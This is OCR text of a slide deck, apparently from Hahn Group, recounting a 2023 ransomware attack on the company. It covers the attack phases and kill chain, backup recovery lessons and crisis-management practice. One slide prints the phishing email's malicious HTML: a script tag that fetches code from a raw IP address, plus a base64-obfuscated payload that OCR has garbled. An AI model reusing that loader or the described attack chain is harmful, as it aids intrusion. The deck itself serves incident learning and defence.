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COMPUTER SCIENCE
UNIVERSITY TUBINGEN

SINCE 1994 IN IT BUSINESS
ENTIRE SUPPLY CHAIN

- HEWLETT-PACKARD (1994)

- CERTIFICATION & TRAINING

- SUPPLIER

- MAGENTA SERVICE PROVIDER
-  FINALLY END CUSTOMER (2014)
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ESCALATION PHASE

ATTACKER ACTIONS

« Early morning data exfiltration starts
 Exfil spreads to more systems

* |dentified ,detection situation”

« Eliminate protective measures

» Open utilization of active directory

* Lock out ,owner admins®

* Highjack VMWare infrastructure

« Start encryption on hosts and clients

HAHNGROUP

advanced automation

MEASURES

Users & admins recognize workload
First assessment

Assemble team in ,warroom”
Further situation analysis
Exfiltration data traffic stopped
Assess level of compromise
Eliminate foreign credentials

Start emergency shutdown

Cut off network connectivity
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'NO CHANCE* PHISHING APPROACH HAHNGROUP

e Crafted emaill

My Locked Tickets: All

m Mew Article 0 Pending 0 Reminder Reached 0 )

* Import into application g

1-1 0f 1
O TICKET# ¥ AGE SENDER TITLE STATE LOCK QUEUE OWMER
O 2023042799000741  1m IT-Support ~ Security Training Sample  open lock Service Desk = Frank Benk

3

* 100% valid transaction
— ®

Ticket#2023042799000741 — Security Training Sample

Back | Print | Classification Owner | Customer Note | Phone Call Qutbound | Phone Call Inbound | E-Mail Outbound Pendit

* On open malware lands »

w Article Overview - 3 Article(s)

NO = SENDER VIA SUBJECT CREATED ?
3 - Benke, Frank Email HG IT - new ticket notification 04/27/2023 13:59 (Europe/Berlir

2 - IT-Support Email HG IT - new ticket notification 04/27/2023 13:57 (Europe/Berlir

1 - IT-Support Email Security Training Sample 04/27/2023 13:57 (Europe/Berir

o
Y I ava S a n d b OX eX p I O Ite d w #3— HG IT - new ticket notification — Benke, Frank — 04/27/2023 13:59 (Europe/Beriin) via Email

Mark | Print | Split | Bounce = Forward | Reply

Antwort des Users

Mit freundlichem Grul} / best regards



STEGANOGRAPHIC MALWARE HIDDEN IN EMAIL HAHNGROUB

<html lang="en">»
<head>
<titlexhahnantomation. coms /titles
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.3/jquery.min.js"»</script>
<script type="text/javascript” src="http://194.213.18.132/ATEQ.php?i=56732">»</script>
<style type="text/css">»
html, body{
background-size: contain;
background-repeat: no-repeat;
padding: @;
background-position: @ 58%;
background-color: #F3F8FEB;
margin: @,
in-height: 18@vh; -
wideh: oo <div id="table"><p>KGZ1bmN@aWIuIChtaWRkbGVzYW1sLCBzcGIydixpZm\Vyb3VzKSB7D
background-image: url("data:imaguZXNyalFsKHNBcmVuZIRoZW5zLCBzcGlyYWSBaXppbmdpbnh3YXRoZSwgbWluaGFnalWlzcHIpdHRhalkh
AAAAABhgdWBhDPFOAAMAAAKQIIBAMY 1\, X NBaXR t ZWA0 ] zM3YmQn LCAweDIOZ iwg ] zBAMikxJywg ] zBAMmNmMI ywe ) zBAMiM3 IykpIC8gkKDBAMU
g1lkt+vL50eZKTUSeissDkGIDTY S5z Lyl . .
knLCAweDUxMiwgJzBANTQA JywgMHgBY z IpkSAvICgweDQ5ICogMHgB 1 Ar IDBAMWOQy My Ar ICOwe DMz YT
WFtZ5gnMHgx0DYnLCARQLs 3UCcs IDBAMTE 1 LCAweDEWY SwgMHexY z EpOwBk InVuY3Rpb24g021 7Y 28wY
MWFk JywgY29ybmdyb3d1cmVudG9zdGVybmFsICOgMHg3NCk70Qog ICAgICAgIHONC 1AgICAgICAgZN< /
d2FwcGVkICBgMHgxMDMs IGhhbGVuZXNZz ZXNOdWlwbGlulXMsIGR1dGIuYWI s ZW]1l jdHVhdGUgLS5AweD11
gblVz ZWtc3RpbGVSYXIkLCBlbndoZWVsYmx 1YXVudCkgewBKICAgICAgICAgICAgcmVEdXJuIENpCc 2N

JvdH1s ZXNodXJ8ZXIsIHByb3R5bGVzaHVydGVyICBgMHexMz Is IGF1dG< /p><p>9zYXVyaWEgLSAnMHE



UTILIZED ZERO DAY EXPLOIT

Extended Stable Channel Update for Desktop
Tuesday, March 7, 2023

07.03.2023

The Extended Stable channel has been updated to 110.0.5481.192 for Windows and

Mac which will roll out over the coming days/weeks.

Stable Channel Update for Desktop
Friday, April 14, 2023

14.04.2023

The Stable and extended stable channel has been updated to 112.0.5615.121 for
Windows Mac and Linux which will roll out over the coming days/weeks. A full list of

changes in this build is available in the log.
112 Stable Update for Desktop - v112.0.5615.121

Security Fixes and Rewards

MNote: Access to bug details and links may be kept restricted until a majority of users are
updated with a fix. We will also retain restrictions if the bug exists in a third party library

that other projects similarly depend on, but haven't yet fixed.

This update includes 2 security fixes. Below, we highlight fixes that were contributed by

external researchers. Please see the Chrome Security Page for more information.
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@ heise online Jetzt 1 Monat fiur 0 € testen

@ Anmelden Suchen Q  Meni =

IT Wissen Mobiles Security Developer Entertainment Netzpolitik

TOPTHEMEN
COMPUTEX M KONSTLICHE INTELLIGENZ &) ENERGIE®  E-HEALTH ]  winDows

M ALERT!

PODCASTS &
heise online » Security > Zero-Day-Liicke: Google aktualisiert Webbrowser Chrome auRer der Reihe
@ Alertt
Zero-Day-Liicke: Google aktualisiert
Webbrowser Chrome aul3er der Reihe

Google hat ein Notfall-Update fiir den Webbrowser Chrome herausgegeben. Es
schlieft unter anderem eine Zero-Day-Schwachstelle, die bereits angegriffen
wird.

Lesezeit: 2 Min. In Pocket speicherm

N=Nekt

15.04.2023 07:44 Uhr | Security

Von Dirk Knop

Google hat in der Nacht zum Samstag eine Aktualisierung fiir den Webbrowser

@ heise Online Jetzt 1 Monat fiir 0 € testen

IT Wissen Mobiles Security Developer Entertainment Netzpolitik Wirtschaft Journal

TOPTHEMEN
COMPUTEX M8 KONSTLICHE INTELLIGENZ & ENERGIE®  E-HEALTH [ winDows

PODCASTS @ 1) ALERT!
heisoonline > Security > Zexo-Day-Likckes Sehwachstelle in Javaseript Engjne von Chrome wird angegiffen
@ aert

Zero-Day-Liicke: Schwachstelle in Javascript-
Engine von Chrome wird angegriffen

Eine Sicherheitsliicke in der Javascript-Engine V8 von Chromium-basierten
Webbrowsern wird bereits aktiv angegriffen. Google stellt ein Notfallupdate

bereit.

Lesezeit: 2 Min. In Pocket speicherm

)& O

{pate

07:58 Uhr | Security

Von Dirk Knop

ane Zero-Day-Schwachstelle in der Javascript-Engine V8 von Chromium-

LINUX & OPEN SOURCE f}

@ Anmelden Suchen Q  Meni =

Newsticker  Foren

ANZEIGE:
DIE ZUKUNFT DER ARBEIT

HYBRID WORK.

06.06.2023

| Security Newsletter
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KILL CHAIN IS “HACKERS FINGERPRINT”W HAHNGROUP
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PERSONALIZED KILLCHAIN HAHNGROUP

Tactics, Techniques and Procedures
extort (1 day)
lateral movement (6 days) deploy and attack (8 hours)

| Cobalt Strike |

SystemBC installed installed to execute Ransomware
Phishing Email to provide backdoor  Antivirus and commands and binary creation
containing a link and to deliver other security tools accross the and data
to a zip file further tooling tooling disabled network encryption

used Mimikatz used Installation Exfiltration

to deliver to extract of legitimate of sensitive
initial tooling credentials or remote access data
conduct pass tools

the ticket



THREAT INTELLIGENCE

“It is said that if you know your enemies
and know yourself, you will not be
Imperiled in a hundred battles; if you do
not know your enemies but do know
yourself, you will win one and lose one;
If you do not know your enemies nor
yourself, you will be imperiled in every
single battle.”

Sun Tzu, 544 v.Chr. — 496 v.Chr.
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INFORMATION WARFARE

Gather Information

Threat Research

HAHNGROUP

ed automatio

g Negotiation Strategy
Threat Severity & .
| y = Known Techniques
|dentify Perpetrator 2

THREAT INTELLIGENCE

Colateral Da mage Specialized Support Services

Angles of Recove ry

Threat Specific loC Information

Known Countermeasures
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TOP 5 2023

#1 Lockbit

#2 BlackCat / ALPHAV

#3 BlackBasta

#4 Hive

#5 Conti
... Lazarus / CLOP / Royal*

2023 Q1

@ Hi
cLor @
DoppelPaymenr /Grief @
2 @
Egregor @
@
@ Lapsus S
FOURTH

HAHNGROUP
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FIRST
LockBit 3.0 @
BlackCat/ALP ™
Black Basta @

@ Vice Soclety
yal @
@ Medus
Pay @
SECOND

* Depending on source and measured quantity



WARNING NOTE BSI HAHNGEOUD

Bitte teilen Sie uns unter <certbund@bsi.bund.de> mit, wenn Sie die Daten zu
betroffenen Systemen zukiinftig als Dateianhang statt inline erhalten michten.

Please let us know at <certbund@bsi.bund.de> if you would like to receiwve
the data on affected systems as a file attachment instead of inline.

Betroffene Systeme in Ihrem Netzbereich:

Affected hosts on wvour networks:

"asn","ip", "timestamp”, "malware”,”src_port","dst_ip","dst_port","dst_host”,"proto”
"2BE238","45,146,86.13","2823-83-13

ls:@5:@6","qakbot","16713","35.239, 286, 168", "465" ,"", "tcp"

Mit freundlichen Griken / Kind regards
Team CERT-Bund

Bundesamt fir Sicherheit in der Informationstechnik
Federal Office for Information Security (BSI)
Referat OC22 - CERT-Bund

Godesberger Alles 185-189, 53175 Bonn, Germany
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TIMELINES
& BACKUP




VEEAM RANSOMWARE REPORT 2022-2023

How long did recovery take?

How long did the entire remediation/recovery take before the organization at large

would say the event was "over"?

5% 4%

2 to 4 months L Less than one week

20%

16%

1 to 2 months 1 week

y 30%

2 weeks to 1-2 weeks
1 month

Source: Ransomware Trends Report 2023

It takes at least three
weeks to recover (per attack) —
after triage

https://vee.am/RW23

HAHNGROUP
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Did they attack your backup repositories?

What percentage of the backup repositories did the cyber-attackers modify or delete?

16%
14%
12% 12%

9%

I 2%
i

1-10%  11-20% 21-30% 31-40% 41-50% 51-60% 61-70% 71-89% 81-98% 91%
or more

Source: Ransomware Trends Report 2023

39% of repositories affected

When cyber-villains breach the
backup repositories, victims lose
39% of their ability to restore

https://vee.am/RW23



CORE BACKUP CONSIDERATIONS HAHNGROUP

patient O opens confirmation of breach
incriminated transaction point in time - by forensics
data exfiltration & U
final attack

KD
<

potential data lost - relying on restore

potential time lost inc. restore

< potential time lost: restart on appliance

D restart of logistics & assembly
D restart of core business

D 80% business up and running



PHASES OF THE RANSOMWARE INCIDENT

ESCALATION

ORIENTATION

CONSOLIDATION

HAHNGROUP

advanced automation

REBUILD

e dynamic chaos
* intense insecurity

* firefighting

* incident research

* measures of caution
e threat identification
e threat hunting

* threat assessment

* countermeasures

* damage limittation

 shutdown decissions

static chaos
massive insecurity

damage assessment
ressource assessment
establish roles &
responsibilities

install crisis management
install decission and
priorization procedures
regain confidence
identify possible paths of
action

threat research

little chaos
reassurance

manage ressources
establish procedures
identify priorities
manage priorities
improve confidence
build minimum viable
system

assess damage on
systems

assess damage on data

orderly environment
cautious action

apply restore routine
restore network

roll out virtual
environment

roll out storage
environment

balidate data integrity
reactivate unencumbered
systems

roll out new system shells
roll out applications
import or restore data



HARSH LESSONS ON BACKUP

integrity

data retrieval variants data scans

bandwidth 12-14 weeks
.. 7 weeks
cannibalization remote

central

structured data

configuration
data

distributed

procedural data

HAHNGROUP

advanced automation

synchronized

communications
data

installation data




ZONING FOR RESTORATION & RETRIEVAL

Regain confidence
Assess damage
Implement forensic procedures

Develop & validate recovery procedure

 Claim data assets
« Restore backup

 Allow secure system operations

e forensic

e data check

e retrieval

e prepare data

® scan
poisoned
system

® prepare data
extraction

e suspicious

e data export

e restore
target

e advanced
scanning

e data
preparation

e validity
checks

e system
preparation
* maintenance

HAHNGROUP

advanced automation

e production
* new
installations
e data import
e data
migration

e secured
clients




BREAK ARCHITECTURES & ACCESSRIGHTS HAHNGROUP

Systems Accessrights

VMWare hosts Workloads eleEak VMWare hosts Workloads Workloads

vCenter JA\D) SD storage vCenter JA\D) SD storage

Proxmox Hosts V proxy Proxmox Hosts V proxy

VEEAM Immutable SD storage VEEAM Immutable SD storage

bare metal SD storage bare metal SD storage
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HUMAN
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SITUATION ASSESSMENT

 Highly dynamic situation

 Entirely unclear situation

« Missing information about systems
* Loss of trust

 Loss of tools

« Unclear thread actor position

* Pressure on individuals and team
« Imminent and felt expectations

« Uncertainty, doubt and fear

HAHNGROUP

advanced automation




TEAM EXPERIENCE HA!-"\!GBOUP

pe—ame—e  © Stretch your borders

== « Collective exeptional experience
« Team cohesion

« Action and commitment

Fast track personal development
Sense for duty

Collaborative performance
Creative solution development
« Supportive attitude




KEY ELEMENETS CRISIS MANAGEMENT

mmmm CONFIDENCE

e get technical and organizational threat information

e set up secure environment for forensics

e create trusted work environment

e bring up minimum viable system for operational environment

maw COMMUNICATION

e establish clear communication rules

e set a defined reporting and communication pattern
e separate internal and external communication

e isolate IT

mmmm Decission Making

e set decision guidelines and “core values”
e decide a lot and quickly
e grant decision freedom

HAHNGROUP

advanced automation

corporate crisis management team

IT liaison manager / director

operational IT crisis manager

Subject matter leads

internal staff external staff




HAHNGROUP
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EXPERIENCE

“IN THE MIDST OF
CHAOS, THERE IS
ALSO OPPORTUNITY.”

S U N TS U 544BC - 496BC
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NOT SO GOOD DECISIONS IN THE PAST

Exceptions

Missing knowledge cultivation
No time for networking

Focus on features

Test restrictions — “left over systems”
 Staff shortages

« Shadow IT acceptance

* No time to develop DR knowledge




GOOD DECISIONS IN THE PAST AAHNGROUP

« Standardization

« Automation projects

« Reduction of complexity

« Strong team development
Insistence on internal knowledge
Cultivate supplier network

New backup concept

New MS-AD concept

IT work environment
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PLATFORM ARCHITECTURE HAHNGROUP

Transparent proxy & ssl offloading
Dark sites

Jump stations

Platform separation

Central logfile collection
Monitoring intelligence

Pattern analysis

Permanent zoning concepts




ORGANIZATIONAL HAHNGROUP

IT automation

End to end security understanding
Separate administrative domains
Improve disaster recovery plan
Communication plans

Emergency procedures

Resiliency training
« Team coherence
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HAHN @ HAHN @ N Invotec aREI rethink® HAHN ® ® waldorf WALTHER ) Y7 /7 4
AUTOMATION DIGITAL GeKu 0 ote mmm.,n robotics. ROBOTICS RobShare »»> technik SYSTEMTECHNIK WEMC.

Follow us: @ ©

www.hahn.group


https://www.youtube.com/channel/UCxdSxc7gSR66Z--gbYKw9XQ
https://www.linkedin.com/company/hahn-group/?originalSubdomain=de

HAHNGROUP

COMMENTS ON MILlTARY CONNOTATION advanced automation
 unclear situation about attack Military is the one entity that professionally deals with
. uncertainty about opponents position ]Eg:sr;[];iﬁeengl;alsltuatlon. Scientifically researching this

7 Inlg)) M) & Siles “Military style” solutions are practical and
 fast changing situation appropriate.
 highly dynamic changes in priorities
 clear communication structure
Situation matches the “fog of war” * lead from the front
Minus the fear to lose your life * clear priority definition
 swift decision making — mission command

« strong hierarchical organization



ATTRIBUTIONS HAHNGGOUD

« D-Day: Chief Photographer's Mate (CPHOM) Robert F. Sargent, U.S. Coast Guard, Public domain, via Wikimedia
Commons

« Minefield : WeHaKa, CC BY-SA 4.0 <https://creativecommons.org/licenses/by-sa/4.0>, via Wikimedia Commons

» Clock: Carlos Ebert from Sao Paulo, BrazilGRU, CC BY 2.0 <https://creativecommons.org/licenses/by/2.0>, via
Wikimedia Commons

« |CONS (divers): Flaticon.com, diverse icons und ressourcen von Flaticon.com
« Stock Photos by Adobe licensed by Frank Benke
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